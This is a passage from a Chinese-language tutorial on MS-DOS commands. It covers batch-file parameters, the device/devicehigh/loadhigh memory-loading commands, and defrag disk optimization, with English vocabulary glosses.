(3)調用批處理文件時,可以加上參數(%1-%9)以及環境變數如%baud%
(4)不能使用管道工具及重定向工具
二十九、device devicehigh loadhigh
device 將指定的設備驅動程序裝入內存中
devicehigh將指定的設備驅動程序裝入高端內存中
loadhigh 將指定的設備驅動程序裝入高端內存中
三十、defrag 優化磁碟
legend(傳奇) optimize(優化) elapse(逝去) fragment(碎片)
該命令執行對指定的盤進行優化處理(包括檢查文件分配表,各文件狀態,糾正錯
誤),在執行時,可按照文件名大小,時間,擴展名對文件進行排序.